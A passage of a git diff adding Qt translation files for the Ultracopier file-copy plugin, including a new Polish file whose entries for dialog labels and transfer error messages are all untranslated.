+ <location filename="../../fileExistsDialog.ui" line="277"/>
+ <source>Suggest new &amp;name</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../fileExistsDialog.ui" line="288"/>
+ <source>&amp;Always perform this action</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../fileExistsDialog.ui" line="346"/>
+ <location filename="../../fileExistsDialog.ui" line="349"/>
+ <source>Overwrite if modification date differs</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../fileExistsDialog.ui" line="308"/>
+ <source>&amp;Rename</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../fileExistsDialog.ui" line="315"/>
+ <source>&amp;Overwrite</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../fileExistsDialog.ui" line="325"/>
+ <source>&amp;Skip</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../fileExistsDialog.ui" line="332"/>
+ <source>&amp;Cancel</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../fileExistsDialog.ui" line="341"/>
+ <source>Overwrite if newer</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../fileExistsDialog.ui" line="354"/>
+ <location filename="../../fileExistsDialog.ui" line="357"/>
+ <source>Overwrite if older</source>
+ <translation type="unfinished"></translation>
+ </message>
+</context>
+<context>
+ <name>fileIsSameDialog</name>
+ <message>
+ <location filename="../../fileIsSameDialog.ui" line="40"/>
+ <source>Size</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../fileIsSameDialog.ui" line="110"/>
+ <source>Modified</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../fileIsSameDialog.ui" line="70"/>
+ <source>File name</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../fileIsSameDialog.ui" line="14"/>
+ <source>The source and destination are same</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../fileIsSameDialog.ui" line="90"/>
+ <source>Folder</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../fileIsSameDialog.ui" line="159"/>
+ <source>Suggest new &amp;name</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../fileIsSameDialog.ui" line="170"/>
+ <source>&amp;Always perform this action</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../fileIsSameDialog.ui" line="190"/>
+ <source>&amp;Rename</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../fileIsSameDialog.ui" line="197"/>
+ <source>&amp;Skip</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../fileIsSameDialog.ui" line="204"/>
+ <source>&amp;Cancel</source>
+ <translation type="unfinished"></translation>
+ </message>
+</context>
+<context>
+ <name>folderExistsDialog</name>
+ <message>
+ <location filename="../../folderExistsDialog.ui" line="34"/>
+ <source>Source</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../folderExistsDialog.ui" line="50"/>
+ <source>Destination</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../folderExistsDialog.ui" line="14"/>
+ <source>The source and destination is identical</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../folderExistsDialog.ui" line="82"/>
+ <location filename="../../folderExistsDialog.ui" line="150"/>
+ <source>Modified</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../folderExistsDialog.ui" line="99"/>
+ <location filename="../../folderExistsDialog.ui" line="160"/>
+ <source>Folder name</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../folderExistsDialog.ui" line="116"/>
+ <location filename="../../folderExistsDialog.ui" line="184"/>
+ <source>Folder</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../folderExistsDialog.ui" line="227"/>
+ <source>Suggest new &amp;name</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../folderExistsDialog.ui" line="238"/>
+ <source>&amp;Always perform this action</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../folderExistsDialog.ui" line="245"/>
+ <source>&amp;Rename</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../folderExistsDialog.ui" line="252"/>
+ <source>Merge</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../folderExistsDialog.ui" line="259"/>
+ <source>Skip</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../folderExistsDialog.ui" line="266"/>
+ <source>&amp;Cancel</source>
+ <translation type="unfinished"></translation>
+ </message>
+</context>
+</TS>
diff --git a/plugins/CopyEngine/Ultracopier/Languages/pl/translation.ts b/plugins/CopyEngine/Ultracopier/Languages/pl/translation.ts
new file mode 100644
index 0000000..3362659
--- /dev/null
+++ b/plugins/CopyEngine/Ultracopier/Languages/pl/translation.ts
@@ -0,0 +1,1289 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!DOCTYPE TS>
+<TS version="2.0">
+<context>
+ <name>AvancedQFile</name>
+ <message>
+ <location filename="../../AvancedQFile.cpp" line="26"/>
+ <location filename="../../AvancedQFile.cpp" line="57"/>
+ <location filename="../../AvancedQFile.cpp" line="88"/>
+ <source>Not supported on this platform</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../AvancedQFile.cpp" line="40"/>
+ <source>Last modified date is wrong</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../AvancedQFile.cpp" line="71"/>
+ <source>Last access date is wrong</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../AvancedQFile.cpp" line="121"/>
+ <source>Unknown error: %1</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../AvancedQFile.cpp" line="187"/>
+ <source>Unknown error</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../AvancedQFile.cpp" line="133"/>
+ <source>Path conversion error</source>
+ <translation type="unfinished"></translation>
+ </message>
+</context>
+<context>
+ <name>CopyEngine</name>
+ <message>
+ <location filename="../../CopyEngine.cpp" line="429"/>
+ <location filename="../../CopyEngine.cpp" line="451"/>
+ <source>The engine is forced to move, you can&apos;t copy with it</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../CopyEngine.cpp" line="462"/>
+ <location filename="../../CopyEngine.cpp" line="484"/>
+ <source>The engine is forced to copy, you can&apos;t move with it</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../CopyEngine.cpp" line="508"/>
+ <source>Destination</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../CopyEngine.cpp" line="508"/>
+ <source>Use the actual destination &quot;%1&quot;?</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../CopyEngine.cpp" line="717"/>
+ <source>The mode has been forced previously. This is an internal error, please report it</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../CopyEngine.cpp" line="1047"/>
+ <location filename="../../CopyEngine.cpp" line="1050"/>
+ <location filename="../../CopyEngine.cpp" line="1055"/>
+ <location filename="../../CopyEngine.cpp" line="1059"/>
+ <source>Ask</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../CopyEngine.cpp" line="1048"/>
+ <location filename="../../CopyEngine.cpp" line="1052"/>
+ <location filename="../../CopyEngine.cpp" line="1056"/>
+ <location filename="../../CopyEngine.cpp" line="1060"/>
+ <source>Skip</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../CopyEngine.cpp" line="1051"/>
+ <source>Merge</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../CopyEngine.cpp" line="1053"/>
+ <location filename="../../CopyEngine.cpp" line="1065"/>
+ <source>Rename</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../CopyEngine.cpp" line="1057"/>
+ <source>Put at the end</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../CopyEngine.cpp" line="1061"/>
+ <source>Overwrite</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../CopyEngine.cpp" line="1062"/>
+ <source>Overwrite if different</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../CopyEngine.cpp" line="1063"/>
+ <source>Overwrite if newer</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../CopyEngine.cpp" line="1064"/>
+ <source>Overwrite if older</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../CopyEngine.cpp" line="1067"/>
+ <source>Automatic</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../CopyEngine.cpp" line="1068"/>
+ <source>Sequential</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../CopyEngine.cpp" line="1069"/>
+ <source>Parallel</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../CopyEngine.cpp" line="1170"/>
+ <source>Options error</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../CopyEngine.cpp" line="1170"/>
+ <source>Options engine is not loaded. Unable to access the filters</source>
+ <translation type="unfinished"></translation>
+ </message>
+</context>
+<context>
+ <name>CopyEngineFactory</name>
+ <message>
+ <location filename="../../CopyEngineFactory.cpp" line="412"/>
+ <location filename="../../CopyEngineFactory.cpp" line="415"/>
+ <location filename="../../CopyEngineFactory.cpp" line="420"/>
+ <location filename="../../CopyEngineFactory.cpp" line="424"/>
+ <source>Ask</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../CopyEngineFactory.cpp" line="413"/>
+ <location filename="../../CopyEngineFactory.cpp" line="417"/>
+ <location filename="../../CopyEngineFactory.cpp" line="421"/>
+ <location filename="../../CopyEngineFactory.cpp" line="425"/>
+ <source>Skip</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../CopyEngineFactory.cpp" line="416"/>
+ <source>Merge</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../CopyEngineFactory.cpp" line="418"/>
+ <location filename="../../CopyEngineFactory.cpp" line="430"/>
+ <source>Rename</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../CopyEngineFactory.cpp" line="422"/>
+ <source>Put at the end</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../CopyEngineFactory.cpp" line="426"/>
+ <source>Overwrite</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../CopyEngineFactory.cpp" line="427"/>
+ <source>Overwrite if different</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../CopyEngineFactory.cpp" line="428"/>
+ <source>Overwrite if newer</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../CopyEngineFactory.cpp" line="429"/>
+ <source>Overwrite if older</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../CopyEngineFactory.cpp" line="432"/>
+ <source>Automatic</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../CopyEngineFactory.cpp" line="433"/>
+ <source>Sequential</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../CopyEngineFactory.cpp" line="434"/>
+ <source>Parallel</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../CopyEngineFactory.cpp" line="485"/>
+ <location filename="../../CopyEngineFactory.cpp" line="524"/>
+ <source>Options error</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../CopyEngineFactory.cpp" line="485"/>
+ <source>Options engine is not loaded. Unable to access the filters</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../CopyEngineFactory.cpp" line="524"/>
+ <source>Options engine is not loaded, can&apos;t access to the filters</source>
+ <translation type="unfinished"></translation>
+ </message>
+</context>
+<context>
+ <name>DiskSpace</name>
+ <message>
+ <location filename="../../DiskSpace.ui" line="14"/>
+ <source>Disk space</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../DiskSpace.ui" line="24"/>
+ <source>You need more space on this drive to finish this transfer</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../DiskSpace.ui" line="49"/>
+ <source>Continue</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../DiskSpace.ui" line="56"/>
+ <source>Cancel</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../DiskSpace.cpp" line="23"/>
+ <source>Drives %1 have %2 available but need %3</source>
+ <translation type="unfinished"></translation>
+ </message>
+</context>
+<context>
+ <name>FileErrorDialog</name>
+ <message>
+ <location filename="../../FileErrorDialog.cpp" line="54"/>
+ <source>Error on folder</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../FileErrorDialog.cpp" line="57"/>
+ <source>Folder name</source>
+ <translation type="unfinished"></translation>
+ </message>
+</context>
+<context>
+ <name>FileExistsDialog</name>
+ <message>
+ <location filename="../../FileExistsDialog.cpp" line="131"/>
+ <source>%1 - copy</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../FileExistsDialog.cpp" line="141"/>
+ <source>%1 - copy (%2)</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../FileExistsDialog.cpp" line="226"/>
+ <source>Error</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../FileExistsDialog.cpp" line="226"/>
+ <source>Try rename with using special characters</source>
+ <translation type="unfinished"></translation>
+ </message>
+</context>
+<context>
+ <name>FileIsSameDialog</name>
+ <message>
+ <location filename="../../FileIsSameDialog.cpp" line="105"/>
+ <source>%1 - copy</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../FileIsSameDialog.cpp" line="115"/>
+ <source>%1 - copy (%2)</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../FileIsSameDialog.cpp" line="182"/>
+ <source>Error</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../FileIsSameDialog.cpp" line="182"/>
+ <source>Try rename with using special characters</source>
+ <translation type="unfinished"></translation>
+ </message>
+</context>
+<context>
+ <name>FilterRules</name>
+ <message>
+ <location filename="../../FilterRules.ui" line="33"/>
+ <source>Search:</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../FilterRules.ui" line="43"/>
+ <source>Search type:</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../FilterRules.ui" line="51"/>
+ <source>Raw text</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../FilterRules.ui" line="56"/>
+ <source>Simplified regex</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../FilterRules.ui" line="61"/>
+ <source>Perl&apos;s regex</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../FilterRules.ui" line="69"/>
+ <source>Apply on:</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../FilterRules.ui" line="77"/>
+ <source>File</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../FilterRules.ui" line="82"/>
+ <source>Folder</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../FilterRules.ui" line="87"/>
+ <source>File and folder</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../FilterRules.ui" line="125"/>
+ <source>The test string matches with the regex</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../FilterRules.ui" line="102"/>
+ <source>Checking</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../FilterRules.ui" line="115"/>
+ <source>Test string:</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../FilterRules.ui" line="17"/>
+ <source>Filters dialog</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../FilterRules.ui" line="95"/>
+ <source>Whole string must match</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../FilterRules.ui" line="108"/>
+ <source>The regex is valid</source>
+ <translation type="unfinished"></translation>
+ </message>
+</context>
+<context>
+ <name>Filters</name>
+ <message>
+ <location filename="../../Filters.ui" line="14"/>
+ <source>Filters</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../Filters.ui" line="30"/>
+ <source>Exclusion filters</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../Filters.ui" line="93"/>
+ <source>Inclusion filters</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../Filters.ui" line="105"/>
+ <source>None = Include all</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../Filters.cpp" line="92"/>
+ <location filename="../../Filters.cpp" line="130"/>
+ <source>Raw text</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../Filters.cpp" line="95"/>
+ <location filename="../../Filters.cpp" line="133"/>
+ <source>Simplified regex</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../Filters.cpp" line="98"/>
+ <location filename="../../Filters.cpp" line="136"/>
+ <source>Perl&apos;s regex</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../Filters.cpp" line="106"/>
+ <location filename="../../Filters.cpp" line="144"/>
+ <source>Only on file</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../Filters.cpp" line="109"/>
+ <location filename="../../Filters.cpp" line="147"/>
+ <source>Only on folder</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../Filters.cpp" line="115"/>
+ <location filename="../../Filters.cpp" line="153"/>
+ <location filename="../../Filters.cpp" line="215"/>
+ <location filename="../../Filters.cpp" line="254"/>
+ <source>Full match</source>
+ <translation type="unfinished"></translation>
+ </message>
+</context>
+<context>
+ <name>FolderExistsDialog</name>
+ <message>
+ <location filename="../../FolderExistsDialog.cpp" line="51"/>
+ <source>Folder already exists</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../FolderExistsDialog.cpp" line="116"/>
+ <source>%1 - copy</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../FolderExistsDialog.cpp" line="126"/>
+ <source>%1 - copy (%2)</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../FolderExistsDialog.cpp" line="187"/>
+ <source>Error</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../FolderExistsDialog.cpp" line="187"/>
+ <source>Try rename with using special characters</source>
+ <translation type="unfinished"></translation>
+ </message>
+</context>
+<context>
+ <name>ListThread</name>
+ <message>
+ <location filename="../../ListThread.cpp" line="1447"/>
+ <location filename="../../ListThread.cpp" line="2369"/>
+ <source>Unable do to move or copy item into wrong forced mode: %1</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../ListThread.cpp" line="1454"/>
+ <location filename="../../ListThread.cpp" line="2376"/>
+ <source>Unable to save the transfer list: %1</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../ListThread.cpp" line="1470"/>
+ <source>Problem reading file, or file-size is 0</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../ListThread.cpp" line="1477"/>
+ <source>Wrong header: &quot;%1&quot;</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../ListThread.cpp" line="1486"/>
+ <source>The transfer list is in mixed mode, but this instance is not in this mode</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../ListThread.cpp" line="1495"/>
+ <source>The transfer list is in copy mode, but this instance is not in this mode</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../ListThread.cpp" line="1501"/>
+ <source>The transfer list is in move mode, but this instance is not in this mode</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../ListThread.cpp" line="1557"/>
+ <source>Some errors have been found during the line parsing</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../ListThread.cpp" line="1565"/>
+ <source>Unable to open the transfer list: %1</source>
+ <translation type="unfinished"></translation>
+ </message>
+</context>
+<context>
+ <name>MkPath</name>
+ <message>
+ <location filename="../../MkPath.cpp" line="142"/>
+ <source>Unable to create the folder</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../MkPath.cpp" line="155"/>
+ <source>The source folder don&apos;t exists</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../MkPath.cpp" line="183"/>
+ <source>Unable to temporary rename the folder</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../MkPath.cpp" line="206"/>
+ <source>Unable to do the final real move the folder</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../MkPath.cpp" line="232"/>
+ <source>Unable to move the folder</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../MkPath.cpp" line="93"/>
+ <location filename="../../MkPath.cpp" line="275"/>
+ <source>Unable to remove</source>
+ <translation type="unfinished"></translation>
+ </message>
+</context>
+<context>
+ <name>ReadThread</name>
+ <message>
+ <location filename="../../ReadThread.cpp" line="55"/>
+ <source>Internal error, please report it!</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../ReadThread.cpp" line="184"/>
+ <source>Internal error reading the source file:block size out of range</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../ReadThread.cpp" line="192"/>
+ <location filename="../../ReadThread.cpp" line="408"/>
+ <source>Unable to read the source file: </source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../ReadThread.cpp" line="233"/>
+ <location filename="../../ReadThread.cpp" line="456"/>
+ <source>File truncated during the read, possible data change</source>
+ <translation type="unfinished"></translation>
+ </message>
+</context>
+<context>
+ <name>RenamingRules</name>
+ <message>
+ <location filename="../../RenamingRules.ui" line="26"/>
+ <source>First renaming</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../RenamingRules.ui" line="32"/>
+ <source>%name% - copy</source>
+ <extracomment>%name% should not be translated</extracomment>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../RenamingRules.ui" line="39"/>
+ <source>&lt;html&gt;&lt;head/&gt;&lt;body&gt;&lt;p&gt;Variables: &lt;span style=&quot; font-weight:600;&quot;&gt;%name%&lt;/span&gt; for the original file name&lt;/p&gt;&lt;/body&gt;&lt;/html&gt;</source>
+ <extracomment> should not be translated</extracomment>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../RenamingRules.ui" line="49"/>
+ <source>Second renaming</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../RenamingRules.ui" line="55"/>
+ <source>%name% - copy (%number%)</source>
+ <extracomment>%name%, %number% should not be translated</extracomment>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../RenamingRules.ui" line="62"/>
+ <source>&lt;html&gt;&lt;head/&gt;&lt;body&gt;&lt;p&gt;Variables: &lt;span style=&quot; font-weight:600;&quot;&gt;%name%&lt;/span&gt; for the original file name&lt;/p&gt;&lt;p&gt;&lt;span style=&quot; font-weight:600;&quot;&gt;%number%&lt;/span&gt; for the extra number&lt;/p&gt;&lt;/body&gt;&lt;/html&gt;</source>
+ <extracomment>%name%, %number% should not be translated</extracomment>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../RenamingRules.cpp" line="39"/>
+ <location filename="../../RenamingRules.cpp" line="62"/>
+ <source>%1 - copy</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../RenamingRules.cpp" line="43"/>
+ <location filename="../../RenamingRules.cpp" line="73"/>
+ <source>%1 - copy (%2)</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../RenamingRules.ui" line="14"/>
+ <source>Renaming rules</source>
+ <translation type="unfinished"></translation>
+ </message>
+</context>
+<context>
+ <name>ScanFileOrFolder</name>
+ <message>
+ <location filename="../../ScanFileOrFolder.cpp" line="265"/>
+ <source>Blacklisted folder</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../ScanFileOrFolder.cpp" line="327"/>
+ <location filename="../../ScanFileOrFolder.cpp" line="393"/>
+ <source>%1 - copy</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../ScanFileOrFolder.cpp" line="337"/>
+ <location filename="../../ScanFileOrFolder.cpp" line="403"/>
+ <source>%1 - copy (%2)</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../ScanFileOrFolder.cpp" line="441"/>
+ <source>This is not a folder</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../ScanFileOrFolder.cpp" line="443"/>
+ <source>The folder does exists</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../ScanFileOrFolder.cpp" line="445"/>
+ <source>The folder is not readable</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../ScanFileOrFolder.cpp" line="456"/>
+ <source>Problem with name encoding</source>
+ <translation type="unfinished"></translation>
+ </message>
+</context>
+<context>
+ <name>TransferThread</name>
+ <message>
+ <location filename="../../TransferThread.cpp" line="235"/>
+ <location filename="../../TransferThread.cpp" line="663"/>
+ <location filename="../../TransferThread.cpp" line="735"/>
+ <location filename="../../TransferThread.cpp" line="1303"/>
+ <source>File not found</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../TransferThread.cpp" line="336"/>
+ <location filename="../../TransferThread.cpp" line="353"/>
+ <source>Wrong modification date or unable to get it, you can disable time transfer to do it</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../TransferThread.cpp" line="408"/>
+ <location filename="../../TransferThread.cpp" line="431"/>
+ <source>Internal error: Already opening</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../TransferThread.cpp" line="572"/>
+ <source>Drive %1</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../TransferThread.cpp" line="574"/>
+ <source>Unknown folder</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../TransferThread.cpp" line="578"/>
+ <source>root</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../TransferThread.cpp" line="631"/>
+ <source>%1 - copy</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../TransferThread.cpp" line="641"/>
+ <source>%1 - copy (%2)</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../TransferThread.cpp" line="701"/>
+ <location filename="../../TransferThread.cpp" line="816"/>
+ <source>The source file doesn&apos;t exist</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../TransferThread.cpp" line="741"/>
+ <location filename="../../TransferThread.cpp" line="828"/>
+ <source>Unable to do the folder</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../TransferThread.cpp" line="777"/>
+ <source>The source doesn&apos;t exist</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../TransferThread.cpp" line="822"/>
+ <source>Another file exists at same place</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../TransferThread.cpp" line="1124"/>
+ <source>The checksums do not match</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../TransferThread.cpp" line="1213"/>
+ <source>Internal error: The destination is not closed</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../TransferThread.cpp" line="1227"/>
+ <source>Internal error: The size transfered doesn&apos;t match</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../TransferThread.cpp" line="1238"/>
+ <source>Internal error: The buffer is not empty</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../TransferThread.cpp" line="1303"/>
+ <location filename="../../TransferThread.cpp" line="1321"/>
+ <location filename="../../TransferThread.cpp" line="1336"/>
+ <source>Unable to change the date</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../TransferThread.cpp" line="219"/>
+ <source>Try rename with using special characters</source>
+ <translation type="unfinished"></translation>
+ </message>
+</context>
+<context>
+ <name>WriteThread</name>
+ <message>
+ <location filename="../../WriteThread.cpp" line="80"/>
+ <source>Path resolution error (Empty path)</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../WriteThread.cpp" line="268"/>
+ <source>Internal error, please report it!</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../WriteThread.cpp" line="671"/>
+ <source>Unable to read the source file: </source>
+ <translation type="unfinished"></translation>
+ </message>
